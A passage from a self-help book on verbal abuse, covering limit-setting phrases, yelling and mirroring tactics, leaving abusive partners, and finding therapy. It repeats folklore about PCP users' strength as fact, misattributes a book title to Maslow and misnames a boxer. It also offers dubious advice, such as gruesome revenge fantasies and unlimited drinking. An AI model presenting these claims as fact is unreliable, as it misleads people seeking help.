There are others who walk away because of their religious teachings. They have been raised to turn the other
cheek when someone doesn't treat them right.
I don't want to sound cavalier or irresponsible or insult anyone's religious views. In fact, I endeavor to respect
everyone's religious views. So do not in any way misinterpret what I am about to say.
Turning the other cheek does not mean to turn the other cheek so that you can be slapped again on the other
side of your face. As I and many people in the clergy see it, turning the other cheek means turning the other
cheek away from the verbal tormentor so that you can be proactive and move on, and never let anyone verbally
abuse you again.
Don't Just Stand There—Do Something!
Whatever you decide to do, do something. Even if you choose to simply walk away, don't ignore how the
verbal abuser's words made you feel. Unless you are a zombie or an alien from another planet, you have
feelings that will emerge following this psychologically traumatic event, although you might not realize it at
first as you slough off what happened.
Later on, you might develop a type of post-traumatic verbal shock syndrome. If you don't deal with your
feelings immediately, you will have to deal with the emotional consequences later. So talk about what
happened to you—what awful things someone said to you and how he or she said it. Tell all your friends, your
family, your clergy, and your therapist. These people will support you.
Page 153
Verbally Setting Firm Limits
Frequently, those who become victims of verbal crime are in the situation they are in because they don't set
strict verbal limits with the verbal perpetrator. If they do set limits about how a person can talk to them, they
often won't enforce those requirements. As a result, the verbal perpetrator loses respect and doesn't take what
the person says seriously.
One of the biggest miscommunications occurs when a verbal victim cries out, “I told him time after time not to
say what he says to me and cut me down, but he keeps saying it anyway.” When you first hear a victim report
this, you feel like punching the verbal perpetrator in the nose. However, upon closer examination you find out
that although the victim really did tell him to stop bringing up that sensitive topic and stop putting her down,
she neglected to report that she made this request while giggling and laughing, using a coquettish girlie tone.
In no way was the message conveyed to “Cease and desist! Immediately!” At times (like when she began to
cry), he would get the message, but then he would retreat to his old ways. He never took her seriously. In fact,
upon questioning him about her tears in regard to his verbal abuse he sloughed it off by saying, “It was
probably her PMS kicking in.”
Granted he sounds like a jerk, and granted it is not appropriate to blame the victim. But in this case we see
how, if she doesn't adamantly stand up for herself so that he truly hears her, thereby causing him to show some
verbal respect for her, the effect is that she will continue to suffer hearing his verbal abuse.
She needs to speak up—not giggle and laugh—but really speak up in a manner that will perk up his ears once
and for all and cause him to change his obnoxious behavior. Most important of all, she needs to be consistent if
he falters and attempts to revert to his old ways.
The tone and words you choose definitely let the person know that you mean business. It lets him know that he
can never again say what he just said to you.
The upcoming “Talk Back!” section illustrates how this is done. Julia, an investment banker, has a
conversation with one of her male colleagues. Julia, who usually dresses in corporate-style clothing, runs into
one of her colleagues, James, at a disco. There is nothing corporate about her appearance at the club. She is
wearing a short, low-cut, skin-tight, black Lycra spandex dress that shows off her ample cleavage and long,
sleek legs. As she leaves the disco, she runs into her colleague on the street. Here's what happens next.
Page 154
Talk Back
James: Oh my God. I am going to have a heart attack! Julia, this can't be you.
Julia: Well, it is me!
James: You… you… you certainly don't look like this at work.
Julia: Well, I should hope not. When I'm at work, I'm not out clubbing.
James: Whoa, I can't wait to tell everyone about this at work tomorrow.
Julia: [Smile immediately changes into serious scowl while looking directly at
him. Voice becomes low-pitched and she projects her voice loudly.] My social
hours are mine! My work hours are the company's! Get it?
James: Don't get so bent out of shape, I was only kidding!
Julia: Well, I'm not kidding. You have no business discussing my personal
business with anyone! We both need to be respected by everyone in the office if
we want to get anywhere, wouldn't you agree?
James: Sure! No problem.
Verbally and vocally, Julia left her light and comfortable, friendly, social speaking style and turned to her
corporate style of speech, which was more projecting, lower pitched, and more serious. James obviously got
the message. Later, he tried to avoid Julia whenever he saw her at the office.
“This Is Unacceptable!”
This is the best phrase to use when someone is trespassing your verbal limits. Say it in a firm, projected tone so
that you will be heard! Do not laugh when you say it! Do not smile or have a “matter of fact” expression on
your face! Do not giggle! Do not use a high pitched voice! Don't say it as a question, sounding tentative as you
go up at the end of the word “unacceptable.” Do not pepper this phrase with filler words such as “like,” “um,”
and “you know!” Finally, do not mumble. Draw out your vowels when you speak these three words.
In continuing to let someone know that he has over-stepped his bounds, you can then go on to explain what it
was that you didn't like about what he said to you. Try not to get out of control, screaming and yelling. Instead,
talk calmly, yet firmly, so that there is no question that you meant what you said and said what you meant.
Never deviate from what you said!
Therefore, you need to watch out for verbally toxic behavior that someone may once again repeat.

Page 155
“Excuse Me? Are You Talkin' to Me?”
Even more intimidating to the verbal perpetrator is using the classic lines that Robert DeNiro's character,
Travis Bickel, spoke in the Martin Scorsese film Taxi Driver: “Excuse me? Are you talkin' to me?” indicating
that he was armed and ready for action.
It has become a catch phrase. In basic terms, it is a warning signal. It means “I heard what you said. You
disrespected me. I didn't like it! So don't even think of talking to me like that again.”
This immediately lets people know that you are serious and you have no patience for their ill verbal treatment
of you. This being the case, do not smile while you make this powerful statement or give a nervous laugh
afterward. Say it loud and clear so you will be heard. Your loud, clear voice resonating these words in their ears
are destined to wake them up, shake them up, and shut them up!
Strategy of Loud Verbal Explosions!
Speaking in a loud and clear voice gives you a lot of verbal and vocal power. People listen. In order to get a
verbally abusive person to curtail hurling her abuse in your direction, you can often deflect her verbal bullets
with sound, especially if that sound is loud and booming.
You will definitely throw her off balance, which, as in martial arts, is a winning move! It certainly gets her
attention and shocks her into stopping—at least for the moment.
Her startled response has been put into action, causing her nervous system to work overtime and to be thrown
off balance. She is thrown off balance mentally as well. She saw you in one speed, and here you go changing
gears! She definitely wasn't expecting that! Unless she is completely deaf, you have gained the upper hand and
come out ahead in another verbal battle.
Fight Clean and Fair!
A verbal warrior who fights dirty is the absolute worst! With a dirty fighter, there is little or no hope in your
attempts to win the communication battle.
Dirty verbal fighters can cause a melee. Often they will hit you so far below the belt that you'll reel in
emotional pain forever.
In the boxing ring, if a professional fighter fights dirty by hitting an opponent below the belt, or does
something really dirty (like biting off an opponent's ear), that fighter will be disqualified.
Page 156
Keep It Above the Belt
Sometimes, the public's rage at the fighter's injustices to the other fighter become so inflamed that the fighting
extends to those outside the boxing arena. Look what happened at Madison Square Garden when fighter
Riddick Bowe was repeatedly punched below the belt by Ron Goletta, a known dirty fighter who was warned
about his tactics. Each time Bowe was hit in the groin, the fans felt his pain too. After Goletta was finally
disqualified, all hell broke loose, literally. Fans mobbed the ring. Chairs were flying. Managers and fight
personnel were beaten. Innocent bystanders were physically flung out of the ring. Countless fights broke out in
the stands, with stranger pummeling stranger. People were injured, people were arrested, people were jailed, all
because of dirty fighting—literally being hit below the belt.
Hitting someone below the belt is not confined to the boxing ring. It happens on a daily basis in people's
homes, offices, at social gatherings, and even on the street. We know all too well about hitting below the belt in
communities that suffer extreme gang violence. A verbal insult about someone's mother or girlfriend, which is
definitely hitting below the verbal belt, can result in the insulator being killed.
In anger, people bring up things you never knew about (for example, your husband's three-year affair,
communicated to you in hostile, angry terms). They bring up things you thought they never knew about (the
time you went to jail for stealing a car when you were 18, for instance) They bring up and uncover horrible
things that happened in your life where only extensive psychotherapy or religious devotion have allowed you to
cope with the guilt and live one day at a time (such as when your girlfriend got killed in a motorcycle accident,
while you were driving).
These verbal cuts are the deepest and hurt the most. In many cases, these cuts will never heal. There is too
much resulting pain. There is so much blood coming from the verbal wound that your relationship is gone
forever—dead!
Even if someone is a dirt bag of a fighter, you don't have to join in and follow suit. It's not going to make you
feel any better throwing verbal bombs at him. He has to live with the devastation he has done to you. Don't add
insult to your injury and have the additional burden of living with the emotional devastation you caused them.
Take solace in knowing that what goes around usually comes around.
Never, Ever Use Physical Violence!
Your hands, legs, body, and teeth are completely off limits! The only time you can use your teeth is when they
are used in conjunction with your tongue and your lips and allow you to speak to someone—never to
physically hurt someone.
Never use physical violence!
No matter how angry you get at what someone said, the consequences of physical violence are not worth
enduring. There is no excuse whatsoever for physical violence. If you feel as though you are coming close to
beating someone up over what they said, please don't do it! Before you get ready to do it, take your breath in,
hold it, and blow, blow, blow all your air out instead of blowing someone's brains out!
Page 157
Fantasy Strategy—an Alternative to Physical Violence.
If you are so angry that you can spit nails, or you feel as though steam is coming out of you ears and you are
thinking that no matter what happens to you, you're gonna do someone in—don't!
Instead, use this strategy immediately! Fantasize about what you'd like to do to them. See it in your mind, feel
it, hear it. Just don't do it in real life! I can't give you any specific ideas here in terms of what to imagine. These
fantasies must come out of your own mind and your own anger. If they are gruesome, run with it mentally. As
you see the images in your mind, you will be surprised at how much better you will feel and how much less
enraged, even relieved. You will feel like you have released the pressure-cooker tension from your physical
being.
Another alternative is to watch the fights on television or even to go and see a boxing match. As the winner is
punching the loser with repeated blows, picture your enemy's face being pummeled by the winner. Don't think
this is weird. We have all unknowingly used the Vicarious Fantasy Technique when we watch our favorite
superstar heroes beat the living daylights out of someone on screen. Next time you're watching one of these
films, just think of what a thrill it would be to see the hero doing what he's doing on screen to your adversary.
It's a lot more acceptable than living this scenario in real life.
Never Threaten One's Basic Needs!
“You'll never work in this town again.” “I will ruin you.” “I will make sure everyone knows about this.” “I will
get you fired.” “I will sue you for everything you've got.” “When I'm done with you, you won't have a penny
left to your name.” “You'll be living on the streets.” “I'll make sure you starve to death.”
Page 158
These types of verbal threats are often made in anger. People making these threats don't even think twice about
the implications of what they have said. They just know that they are hopping mad and that these threats are the
best way for them to let off steam. They have no clue about the impact of their words or the possible
resounding consequences.
It is extremely dangerous to threaten people by holding the threat of their basic existence up to them. In the
classic book The Hierarchy of Needs, the famed psychologist Abraham Maslow discusses human being's basic
need for air, food, and shelter.
When these basic needs are threatened, the consequences can be devastating. Biologically, it triggers basic
survival instincts, such as the fight-or-flight mechanism. When this happens, the results are not pretty; they are
pretty devastating. Through the ages, people have been killed for making verbal threats against one's basic
needs.
To repeat: Never, under any circumstances, make threats to people, especially when it pertains to their
livelihood! Tempers can flare to the point that they become out of control, and the results can be deleterious.
Keep Your Cool
If your livelihood has been threatened, never resort to physical violence or perpetrating physical harm against
someone. Reread this section. Other alternatives are more effective and more productive! So read on and you
will discover what these alternatives are and how to use them.
In light of the repeated school killings in which young students (children) have shot their peers to death, threats
should always be taken seriously, whether or not they are just made in the moment of anger. We have,
unfortunately, seen the aftermath of what happens when threats are not heeded.
The moral of all of this is that, no matter how angry you get, never threaten anyone—not even in jest. You are
risking being taken to jail. You are risking the financial ruin of having to go through a lengthy court battle. And
most important of all, you are risking your life!
Verbally Mirroring the Foe Strategy
In describing the strategy of Verbally Mirroring the Foe, many of you might argue, “I couldn't do what they
did. I would never think of stooping to their level.” I understand your point. However, guess what? If you don't
stoop to their level, how are they going to hear you? How are they going to know when their verbal behavior is
unacceptable?

Page 159
By stooping to their level, you are forcing your verbal perpetrators to see their ugly words reflected back to
them. You are, in essence, their “verbal mirror.”
One of my attorney clients was negotiating a deal over the telephone with another attorney who was verbally
hostile and abusive. My client could not get a word in edgewise as the verbally toxic adversary hogged up the
entire conversation, shouting obscenities, and screaming and yelling. All of a sudden, my client pulled the
phone away from his ear and began to bark like a dog. Stunned, the abusive adversary stopped talking and
asked “What did you say?” My client continued to bark like a dog. He then stopped and said, “That is exactly
what you sound like—a barking dog. Now Mr. Jones, you and I are both highly qualified, well-trained,
civilized professionals. Let's act that way and speak intelligently and quietly so that we can each listen carefully
to what the other is trying to say and come to an amicable resolution.”
My client merely gave Mr. Jones a glimpse of himself in the verbal mirror. He certainly didn't like what he
heard. It was obvious that Mr. Jones had no clue that he sounded like a barking dog when he negotiated. But he
certainly became aware of it and has subsequently made it a point to listen and not “bark” at other attorneys—
at least not as much as before!
A taste of their own verbally toxic medicine is often all they need to make them aware of how poorly they
come across to others. In fact, because they often don't even realize it, look at using this strategy as doing them
a favor!
Talk Back
Here is a conversation of an employee mirroring her boss. A word of caution
before using this technique on your boss: There's only a 50 percent chance that
you will still have a job after using this strategy on someone who has more clout
than you do. Ann was lucky her boss responded well. I don't know how your
boss will take it, so it's strictly up to you whether to use it or not.
Boss: [in loud and gruff monotone] ANN, GET ME THE JOHNSON FILE
AND BRING ME A CUP OF COFFEE—CREAM AND SUGAR!
Ann: [mirroring his exact loud and gruff tone] OKAY, I'LL GET YOU THE
JOHNSON FILE AND BRING YOU A CUP OF COFFEE—CREAM AND
SUGAR!
Boss: Why are you yelling? Why are you talking so rudely to me?
Ann: Well, Mr. Thompson, that's exactly how you talk to me.
Boss: Really, I had no idea. Well, I apologize. Thanks for pointing it out.
Page 160
“Give 'Em Hell and Yell” Strategy.
Similar to the Mirror Strategy, the Give 'Em Hell and Yell Strategy allows people to see how verbally toxic
they are. Although we have been conditioned that it's not nice to scream and yell at people, there are times
when you have no choice. You are at your wit's end. You've tried everything else and the verbal vulture still
doesn't “hear” you.
There is nothing else to do but “let 'em have it!” Go for it! Be as loud and angry as you want. Let your face turn
red and the veins in your neck pop out and pulsate. Yes, you can even say a four-letter word or two and contort
your face to look like a monster. The key is to say anything (short of threatening their livelihood or their life) to
get out the anger and frustration that you have towards them. Don't keep any of it in! Open the flood gates and
let it roar! It gives you permission to act like a wild tiger.
Yes, you read correctly, I said that it was okay to use cuss words (but don't make a habit of it). Doing so, and
“shocking” them into listening to you, might be the only way you can get them to finally hear you.
A big word of CAUTION! Never use any of these strategies in conjunction with your hands, arms, fists, legs,
feet, or teeth. Never use any weapons (knives, forks, guns, rifles, machine guns, or hand grenades) whatsoever,
even if it's only done for effect, to threaten or scare your verbally offensive opponent. The potential
consequences can be horrific!

Page 161
Chapter 13
Enough Is Enough! Knowing When to Retreat
When is the verbal war over? How do you know if you were the winner or the loser? The answer is simple. If
you have used up all of the verbal defense strategies in the last two chapters, and nothing has worked, it's time
to retreat. This means “unplug.” Get away from the extremely toxic verbal abuser. Run. Run as fast as you can!
Run for your life.
Some individuals are similar to drug addicts on PCP. It's very difficult, if not impossible, to quell their bizarre
and often violent and intensely destructive behavior (like running naked down the street). They develop the
strength of ten men, to the point that in many cases they are impermeable. They are literally like “Supermen”
who can't be defeated by the usual methods. They are physically resistant to pain, perhaps because the
alteration in their biochemistry doesn't register the sensation of pain.
Page 162
Because individuals on PCP are usually a danger to themselves and to society, great efforts are made to capture
them and lock them up. Several law enforcement officers report that such individuals are so strong that it can
take up to twelve officers to subdue them. Additional reports claim that they easily burst open their handcuffs
and chains and can even bend the bars of their jail cells.
Similarly, if none of your verbal strategies worked to subdue the verbal bully, you need to cut your losses and
move on; otherwise, like people on PCP, they can annihilate you.
If you have done everything, from giving them love and kindness to giving them hell and yelling a them, and if
none of the techniques could soften or change the verbal bully's behavior, you have absolutely no other
recourse than to run for your life!
Three Strikes and You're Out!
People stay in horrible relationships way too long with the hopes of “working things out.” More often than not,
things never work out! The time to get out of a verbally abusive relationship is NOW! In baseball there is a rule
that after three strikes, you are out. And in some states across America there is a “three strikes” law.
Therefore, I believe as well in the “three-strike rule” when it comes to being verbally abused. The first time a
person verbally abuses you, even though it's awful, can be written off to “having a bad day,” “not feeling well,”
“having PMS,” or “testing you to see how far they can go”—pushing their limits with you.
The second time it happens is horrible, but it can be attributed to “a life crisis” (such as job problems, problems
with children or with family members excluding you, health issues involving anything from a cold to
impotence, menopause, or a life threatening illness).
But the third time it happens, there are no more excuses. You're out! Leave!
Yes, But…
Don't “yes, but…” me. Don't “yes, but…” yourself. Verbal abuse is verbal abuse! That's it! If someone is
saying to you any of the things mentioned in Chapter 2, guess what? You are the victim of a verbal crime, and
the verbal criminals need to be out—for life! Out of your life for the rest of their lives!
Many of you will think that this statement is too harsh, but there's nothing harsh about telling you that you are
shortening and diminishing the quality of the most precious gift that has been given to you—your life! I'm
telling you this because I really care about you. I care so much that I am willing to dedicate my life to helping
people in the same situation you find yourself in. So please open your mind. See and hear

Page 163
what I am trying to tell you. The longer you stay in a verbally abusive relationship, the longer you will feel bad
about yourself. You are in a losing battle and you will never win the verbal war.
If you have truly done everything I've discussed in this book thus far, using every single verbal defense strategy
correctly and following the steps in the book to a “t,” but your results are to no avail, then there are no more
“yeah, buts…” to hear.
I Say “Yes,” You Say “No”
You may have some good reasons (at least they seem good in your mind) for staying in a verbally abusive
relationship. Well, I have even better reasons for you leaving that horrific situation, a situation where your selfesteem
is eroding every day you are in the verbal perpetrator's presence.
The following list gives explanations of why I keep saying “no” to your “yes.” There are no more excuses, so
pay close attention to my answers.
1. Your “yes!”: I don't want to upset my comfortable lifestyle.
Dr. Glass's “No!”: How comfortable is your lifestyle when you are living with someone who uses you as a
verbal punching bag? No matter what the two of you do together—no matter how many yachts you sail on,
privates jets you fly in, designer clothes you wear, exotic places you visit, and beautifully decorated homes
you have—nothing is worth the emotional torment that verbal abuse brings. All of your material goods
mean zero when you are in a hospital bed dying of cancer, a stroke, or heart attack because you let the
abuse fester and fester until it erupted in devastating illness.
2. Your “Yes!”: I'm staying for financial reasons.
Dr. Glass's “No!”: Sure, it's going to be hard at first, but millions of people are the breadwinners without a
spouse, partner, or roommate. It is better to live on bread and water than eat in a home with a verbal
abuser.
3. Your “Yes”: I can't leave for the sake of the kids.
Dr. Glass's “No”: I say that you should leave for the sake of the kids! Who in their right minds would want
their child to grow up hearing their parent get verbally beaten up on a daily basis? Children do grow up,
and they grow up learning that they can speak to others in a verbally abusive way or that others can speak
to them in a verbally abusive way.
4. Your “Yes!”: But, I'm In Love With Him/Her!
Dr. Glass's “No”: First of all, you need to redefine what you mean by “love.” Great sex is not love—it is
just great sex! Sex may be an expression of love for
Page 164
some people, but if that love is not expressed outside of the sexual liaison, then it's not love! IT'S JUST
SEX! Love is having respect and admiration for someone. If someone doesn't respect and admire you
enough to speak to you with civility, guess what? (I hate to be the one to break it to you, but this book is
about honesty, so here's the bottom line.) They may not really love you in the true sense of the word.
5. Your “Yes!”: What will everyone think?
Dr. Glass's “No!”: Who cares? They are going to think whatever they want to think. They aren't the ones
living your life—you are! So live it through your eyes, not through anyone else's eyes! Besides, anyone
worthwhile will respect you for getting out of an abusive relationship.
6. Your “Yes!”: They didn't really mean it. They were just under a lot of pressure at work, with the family and
everything else going on in their life.
Dr. Glass's “No!”: As fast as your legs can carry you, go to an AlAnon meeting so you can see what
enabling is all about and what an enabler you are. If they had Verbal Abusers Anonymous (VAA) or
VerbAnon, I'd insist that you go to their meetings, but since they don't (at least not yet), go to the next best
thing. Go now!
7. Your “Yes!”: With me in their life, maybe they'll change.
Dr. Glass's “No!”: And maybe green pigs will dance in the trees! I don't think so! Get this through your
head: “What you see is what you get!” “What is, is what is!” People don't change their ways unless they
really want to. There is sufficient evidence that people don't change their behavior unless they are retrained
with extensive therapy. Even then, they still might not change unless their positive behaviors are
continuously reinforced!
It's similar to leopards. We've all heard the expression that “leopards don't change their spots”—unless of
course you paint some additional spots on them. When the paint eventually wears off, they are back to looking
like they did before, with the same old spots. Unless you continuously keep painting new ones on, the old spots
will remain the same.
If a leopard doesn't want you to change its original spots, but you insist on changing the leopard by painting
new spots on its fur anyway, be prepared to become its lunch! It will destroy you, chew you up, and swallow
you. If it's had enough of you, it'll spit you out!
The same is true for a person whom you think you can tame or change. Like the leopard, he too will eat you for
lunch. He will destroy you, chew you up, and swallow you, and when he's had enough of you, he'll spit you
out!
Page 165
You Finally Got the Message!
Some people, usually ones who are a bit masochistic due to self-worth issues, take a much longer time to get
the message. Those who have really worked on themselves psychologically to rid themselves of any mental
demons take less time to see the light. They kick the verbal vulture to the curb. After three strikes maximum,
they are history!
You finally get it! Yeah! After trying each and every way to rationalize and convince yourself of ways it could
work out, you now realize that there is no hope. You simply can't have this person destroying your identity and
your life. You have resigned yourself to the fact that you cannot fool yourself any longer.
Now you are so excited—free at last. You feel as though a ton has been lifted from your shoulders. You can't
believe how good you feel. You are smiling all the time. People tell you how great you look. You feel that you
have a new lease on life. People actually like being around you now, because you're not always depressed and
talking their ear off about your troubles. You are invited to more places and you are having more fun than ever.
You are open to new things. You even get a new hairstyle, and shed the 10 pounds you gained in the toxic
relationship, which literally “weighed you down!” You look great! You feel great! Everyone around you now is
great! Life is great!
Noooooo! Don't Do It!
Then one evening, things are quiet. The phone isn't ringing and you have no plans. After partying like mad to
celebrate your newfound freedom, you are beginning to come back down to earth as you realize that the party's
over. Now you have to start a new life with new people who are not verbally toxic.
It's tough. You think, “How am I going to meet someone to start a new verbally healthy relationship?” “Where
do I go?” “What do I do?” “Oh no!,” you think to yourself, “What if they don't find me attractive? What if they
don't like me? What if I am alone? What if I never find a relationship again? What if nobody wants to sleep
with me? What if everyone who meets me rejects me? What will happen to me? What if I get so depressed
because of all of this and don't want to go on living? What if I decide to kill myself?”
Now that you have worked yourself over mentally and looked at your newfound freedom as a scary and
horrific nightmare, instead of an exciting and thrilling adventure, you are paralyzed with fear! You feel so
naked, so exposed, so vulnerable—as though you are so completely naked that you aren't even wearing your
skin, let alone your clothes!

Page 166
So, what does your first instinct tell you? Why, of course, reach for the phone and call that familiar person—
your verbal abuser. It's safe. He might be abusive, you reason to yourself, but at least he was yours. He'll make
it all better! You won't be feeling as naked and insecure if you go back with him, you think. So, you reach for
the phone to call the “Him.” Just when we all thought you were doing so well, you are now back for more. The
saga continues, and now we definitely don't want to hear about it. We're sick of hearing about the abuser, and
by now we're sick of you.
Help!!! Emergency!!!
Before you reach for the phone, call your family members, close friends, clergy, and the person you desperately
need the most—a psychotherapist. If you don't know any, call the local mental health association in your area.
Call a university or a medical center in your area. Call your friends. Ask them if they know of one or if any of
their friends know of a good therapist. Call your doctor. Call the health department. Call the American
Psychological Association in Washington, DC.
If you think you can't afford professional help, stop thinking that right now! Often your community has a lowcost
mental health program. The Department of Social Services in your city, county, or state can also help you.
University programs often have clinical counseling available at a low cost. Your clergy can also help you—
that's what they are there for. Their inspirational guidance just might be the mental medicine you need. Maybe
they can at least comfort you during your time of great emotional distress, until you can actually see a mental
health professional who is trained to deal with your specific issues.
I have given you all kinds of options, so there is no excuse! Get help!
Do it now!
Throwaways
What happens when the verbal abusers are the ones who pull the verbal plug? No matter how difficult, even
impossible, the communication was between both of you, nobody likes to be tossed away like a dead raccoon.
Just know that you are probably feeling worse than they are right now. The rejected always feels worse than the
rejecter.
Along with everyone else, I can sit here and give you words of sympathy. Even though we try to say
sympathetic words and phrases in our attempts to comfort you, you'll think we don't know what we're talking
about. You'll wish we'd just shut up, listen to
Page 167
your sob story, dry your tears, and wear a shirt, blouse, or sweater that feels soft, so that when you cry on our
shoulder your face will feel more comfortable and less scratchy.
The following “Talk Back!” section lists some phrases of comfort usually said to a rejectee, and what the
rejectee really thinks about your stupid advice.
Talk Back
Comforter says: “I know just how you feel.”
Rejectee thinks: “No, you don't know how I feel! I'm the only one who can feel
what I feel! How do you know what's going on in my body? I'm the one who
feels like I've been run over by a truck. Have you been run over by a truck?
Nooooo!”
Comforter says: “That awful person! You are better off without her.”
Rejectee thinks: “She wasn't all that awful! No, I'm not better off without her!
Who's gonna go to the movies with me? Who's gonna go to 7–11 with me at 2
A.M. just because I want a fudgecicle?”
Comforter says: “Don't worry, it will be fine.”
Rejectee thinks: “Are you out of your mind? I can't sleep. I feel like vomiting
all the time. My head hurts. I can't stop crying. I can't eat. I want to drink a
whole fifth of whisky and keep drinking and never come out of my drunken
stupor! It will not be fine!”
Comforter says: “You'll find someone else.”
Rejectee thinks: “It took me ten years just to find this guy! When will I find
someone else? When I'm 90?”
Comforter says: “There are plenty of fish in the sea.”
Rejectee thinks: “Yeah, but what sea do you catch them in? Where are they?
How come all the good fish are taken? If there are so many fish in the sea, how
come I only attract sharks?”
None of these words help you feel better. Instead, they make you feel worse! Just know, you will feel bad, very
bad, horribly bad for a while. But then, after you are able to hold some food down, sleep, stop crying and have
an occasional smile on your face—when you have spent time away from the rejecter—you will see something
you never saw before! He did you a favor.
If he left you and you were a verbal tormentor, you learned something very valuable. Don't mess with people's
self-respect. Talk to them like human beings with the dignity they deserve, or you won't be talking to anybody!
Page 168
If, on the other hand, he left you and he was the verbal tormentor, he probably left you for a number of reasons
that most likely have nothing to do with you! Here are some of the reasons that tormentors might leave you:
1. They felt shame, embarrassment, and guilt over how they treated you.
2. They didn't feel that they were worthy of you.
3. They didn't get the reaction they wanted out of you. They either wanted you to fight back, and you didn't, or
they wanted you to take their abuse, and you fought back instead.
4. They were tired of you. You were a verbal toy. They were done playing with you, so they threw you away.
5. They needed more people to abuse, to feed their sick souls. They were like verbal vampires, who need to
suck the lifeblood out of their verbal prey and quickly move on to the next innocent victim.
No Stalkers or Fatal Attractions Allowed!
If someone leaves you, sure you can try to work it out, but if it doesn't work after three attempts, don't go back
for more verbal hell. It is not worth it!
It's also not worth the legal hassles that would await you. Instead, listen to the song “Got the Message” on my
Love Healing—Music for the Heart cassette or CD (ordering information is in the back of the book). I'm not
just being a self-promoter here; I am trying to help you through music. I have received letters and phone calls
from people all over the country telling me that this album has helped them tremendously in getting over some
of the most difficult moments in their lives.
Mourning and Waking Up Renewed in the Morning.
Certainly you will go through a roller coaster of emotions, and grieving the relationship, no matter how
verbally toxic it was. The key here is to hurry up and grieve, so that you can get on with a brand-new, healthy,
and positive perspective on life. A therapist or great friends can help you with this grieving process by allowing
you to verbally vent. The best way to get over this difficult period is to make a list of all the verbally toxic
things your opponent ever said to you. It doesn't matter if you don't remember the exact words. Just write down
the specific circumstances or the different times it occurred.
Whenever you are feeling down and wishing you could go back to the relationship, just pull out your list. That
will cure you and speed up your emotional recovery period!

Page 169
When You're on the Verbal Merry-Go-Round
After you have finished mourning, you will from time to time have negative thoughts about the verbal
tormentor. Do the “Stop the Thought” Technique mentioned earlier in this book. It will help you a lot!
Also, find solace in the fact that what goes around comes around. You might not see the immediate results, but
rest assured they will suffer the consequences of their actions. If they are treating you with verbal disrespect,
chances are they are doing the same with others. As I said earlier in this chapter, leopards don't change their
spots.
Never forget what they did to cause you such pain! And yes, no matter what the self-proclaimed gurus tell you,
you do not cause yourself pain, others cause you pain.
Forgiving Yourself Right Now!
Look, you didn't purposely seek out this verbal abuse. Chances are that you were attracted to this individual, no
matter what area of your life he was in, and you found out what a verbal jerk he was! It's not your fault! You
did nothing wrong, trust me! The only thing you need to examine is if there is a pattern here. If you find that
your life has been filled with too much verbal abuse, you may want to look at why this is so. Perhaps there was
something familiar about their behavior, something that you were conditioned by early on in life. If that is the
case, you have to be conscious of this and watch yourself so that you are not drawn to another similar type of
person.
Later on in the book, I share with you the various types of verbal abusers. Examine these types carefully. Once
again, you might see even more of a specific pattern developing with regard to the person you're attracted to.
And yes, as a counseling psychologist, I am strongly promoting the value of my profession. Go see one! Earlier
I told you how to find one, so do yourself a huge favor and see one as soon as possible.
Make Yourself Feel Reeeeal Good!
This is the time you have for yourself!
As I said earlier, the best thing you can do is get professional help of some kind. The next thing you can do is
to heal yourself.
Next, pamper yourself! And I mean major pampering! Don't feel guilty. This is money well spent! Pretend you
are a prince, princess, sheik, king, or queen, and take one day off to book yourself solid in order to do things
with the sole purpose of making yourself feel not only good but great!

Page 170
Whatever it is, do it and enjoy! Here is a list to give you some ideas for having this great day just for you.
• Go to the theater or a live sporting event (no matter how expensive it is).
• Go somewhere or do something you always wanted to, although you never had the time or the energy.
• Go dancing or to a club.
• (Unless you have an alcohol problem) Go to a bar (even a cigar bar) and have all the drinks you want,
providing that you do not drive home in a drunken state (you don't want to make it your last day!).
• Go shopping and splurging on whatever you want, forgetting about the money and knowing that you will
somehow pay it off in time.
• Get a manicure, pedicure, facial, haircut and style; get waxed (if you are a woman or a man for that matter),
get a shave at the barber's (if you are a man), and top it all off with a warm and relaxing bubble bath, followed
by a full body massage.
• Have many of these pampering specialists in your home to carry out your regimen of being pampered.
• Lie in bed all day sleeping.
• Have an eating marathon, not caring about diets and calories, but eating your favorite food, perhaps in your
favorite restaurants, even going to a different restaurant for coffee, breakfast, lunch, tea, dinner, and drinks.
• Have a book marathon, reading everything you ever wanted to read.
• Participate in a sport you love or take lessons in a sport you always wanted to try—for example, snowskiing,
waterskiing, in-line skating, hang-gliding, horseback riding, skeet shooting, and polo.
• Have a video marathon, watching every video you've ever wanted to see.
• Spend the day having a sex marathon with a loved one.
No matter what it is that you do, you have one sole purpose, and that is to make YOU feel good. No calls! No
meetings! No problems! This is your day and your day only, so take advantage of it, cherish it, and don't feel
guilty about it!
This pampering can also help prevent you from going back to the verbal abuser or heal the emotional pain and
distress she caused you! Whenever you think of her or see another one coming your way, think of this
marvelous day, and it will help you get through the difficult days.
Page 171
Page 173
PART 4
VERBAL WARFARE WITH SPECIFIC PEOPLE IN YOUR LIFE
We have been brought up to believe that all people are created equal and need to be treated the same. In
reality, people are not all created equal. They are created quite differently. Some people are pushier, nastier,
quieter, sneakier, friendlier, happier, and sadder than others. Now we know that there is not only a
biochemical component to these behaviors, but also a very strong environmental influence.
At this point, it doesn't matter how or where the toxic verbal behavior began. The only thing that matters is the
fact that these adversaries don't make you feel good whenever they are in your presence or whenever you think
of them.
These verbally toxic people seem to crop up in just about every area of your life! They might appear in your
own family, at work, when you need to deal with a professional, or when you're minding your own business,
going about your daily life. These verbal abusers, who will be discussed in Chapters 17, 18, and 19, are
everywhere!
In this part you learn how to actually deal with these people, depending who they are in your life, and what
your relationship is to them. You'll learn to apply appropriate techniques, depending not only on who that
person is, but upon what “verbal crimes” they've committed against you.
Page 175
Chapter 14
Gaining the Winning Verbal Edge Between the Sexes
No more male bashing! No more female bashing! No more lectures about how different men and women are!
No more hearing how “men are from Mars and women are from Venus!” Trust me, we get it! We don't need to
be beaten over the head with the same information. In this chapter, you learn less commonly shared
information that strictly concerns how men and women speak to one another. I will discuss specific body,
facial, and head positions, vocal patterns, pronunciation of sounds, words, phrases, and content of speech that
are specifically indigenous to men or to women. This chapter is not designed to make you feel bad or guilty for
how you speak to members of the opposite sex. Instead, it is designed to teach you the language of the opposite
sex, so that you will know what the other truly means by what he or she says.
Because today's litigious society demands respect and equality, you have no choice but to put the information
you learn in this chapter into action. If you do, you'll never experience the pain and frustration that comes from
miscommunication.
Page 176
What's the Real Deal?
What is the number one reason for divorce? What is the number one reason for marital affairs among couples?
With the exception of medical problems, what is the major reason for sexual dysfunction among couples? What
is one of the main reasons women are not advancing up the corporate ladder as rapidly as they should?
Aside from a few unsavory individuals whose main concern is financial gain, why are there so many sexual
